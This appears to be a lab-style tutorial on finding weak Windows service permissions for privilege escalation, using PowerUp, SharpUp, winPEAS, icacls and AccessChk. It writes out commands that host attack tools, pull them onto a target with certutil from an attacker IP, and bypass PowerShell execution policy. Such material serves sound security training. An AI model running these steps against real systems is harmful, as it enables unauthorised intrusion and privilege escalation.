Enumerating service permissions with PowerUp¶
-
If you don’t already have PowerUp, download it:
wget https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/master/Privesc/PowerUp.ps1
-
Host the PowerUp.ps1 script using Python:
python3 -m http.server 8000
-
Transfer the script to the target machine using certutil:
certutil -urlcache -f http://[IP-ADDRESS]:8000/PowerUp.ps1 PowerUp.ps1
-
To bypass the PowerShell execution policy and run PowerUp.ps1:
powershell -ep bypass -c "& {.\PowerUp.ps1}"
Enumerating service permissions with SharpUp¶
SharpUp is a tool for identifying Windows service misconfigurations commonly used in privilege escalation.
-
If you don’t already have SharpUp, download it:
wget https://raw.githubusercontent.com/r3motecontrol/Ghostpack-CompiledBinaries/master/SharpUp.exe
-
Host the executable using Python:
python3 -m http.server 8000
-
Transfer it to the target machine with certutil:
certutil -urlcache -f http://[IP-ADDRESS]:8000/SharpUp.exe SharpUp.exe
-
Run all checks with the
audit
command. In this example, the tool identified thefilepermsvc
service as vulnerable:
.\SharpUp.exe audit
Enumerating service permissions with winPEAS¶
-
Since the target runs a 64-bit OS, host the 64-bit winPEAS binary with Python:
python3 -m http.server 8000
Note: You can confirm system architecture with:
systeminfo | findstr /B /C:"System Type"
-
Transfer winPEAS to the target machine:
certutil -urlcache -f http://[IP-ADDRESS]:8000/winPEASx64.exe winPEASx64.exe
-
Run winPEAS to search for weak service permissions:
.\winPEASx64.exe
Note: The “Services Information” section in winPEAS lists all services, their configurations, and potential security issues.
Enumerating weak service file permissions (icacls)¶
-
Review Microsoft’s icacls documentation for details about permissions.
-
Check folder permissions for the service:
icacls "C:\Program Files\File Permissions Service"
Note: This shows that
BUILTIN\Users
have (RX) Read & Execute permissions. -
Check permissions of the service binary itself:
icacls "C:\Program Files\File Permissions Service\filepermservice.exe"
Note: This shows that
Everyone
has (F) Full Control, allowing modification or deletion of the binary.
Enumerating weak service file permissions (AccessChk)¶
-
If you don’t have the Sysinternals Suite, download it from the official Microsoft site.
Note: Confirm architecture (32/64-bit) with:
systeminfo | findstr /B /C:"System Type"
-
Host the binary with a Python HTTP server and transfer it:
certutil -urlcache -f http://[IP-ADDRESS]:8000/accesschk64.exe accesschk64.exe
Note: With
accesschk
now on the target, we can enumerate permissions. -
View permissions on the service binary:
.\accesschk64.exe -wvu "C:\Program Files\File Permissions Service\filepermservice.exe" -accepteula
Note: This shows that
Everyone
has (RW) Read and Write permissions, granting the ability to modify or replace the service binary.